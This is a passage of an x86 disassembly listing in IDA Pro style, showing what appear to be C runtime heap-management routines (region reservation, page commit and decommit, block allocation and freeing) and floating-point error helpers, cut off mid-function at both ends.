		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------


loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax


loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_433EA0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_433E90
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------


loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2730000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5


loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_433E90
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_433E90, 0
		jnz	short loc_41B908
		mov	off_433E90, eax


loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_433E94, 0
		jnz	short loc_41B92D
		mov	off_433E94, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_433E94
		mov	[esi+4], eax
		mov	off_433E94, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------


loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------


loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28705FFh
		nop


loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_433E90
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_4CF024
		call	near ptr 2720000h
		nop


loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax


loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28705FFh
		cmp	off_435EB0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_435EB0, eax


loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_433E90
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_433EA0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_433E94
		push	edi


loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28705FFh
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4CDA1C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81


loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi


loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96


loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48


loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD


loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx


loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_433E94
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F


loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_433E90
		push	esi
		mov	ecx, edx


loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02


loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_4CDA1C
		cmp	dword_4CDA1C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_435EB0
		push	edi


loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3


loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]


loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C


loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx


loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------


loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]


loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_435EB0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_435EB0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------


loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_433E90
		mov	edi, eax


loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A


loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9


loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98


loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2870746h
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6


loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_435EB0, edi
		lea	eax, [edi+2018h]


loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------


loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax


loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_435EB0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax


loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi


loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20


loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------


loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5


loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------


loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi


loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD


loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]


loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------


loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax


loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]


loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------


loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi


loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33


loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C


loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1


loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_436608, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_4CD9B4, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h


loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_436608, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
